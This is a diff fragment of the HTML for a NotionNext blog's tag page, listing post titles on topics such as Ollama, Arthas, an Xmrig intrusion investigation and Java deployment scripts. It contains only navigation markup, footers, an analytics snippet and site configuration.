fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8E%A8%E8%8D%90/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8E%A8%E8%8D%90/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>推荐 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="推荐 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/推荐"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="推荐 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8E%A8%E8%8D%90/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8E%A8%E8%8D%90/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both 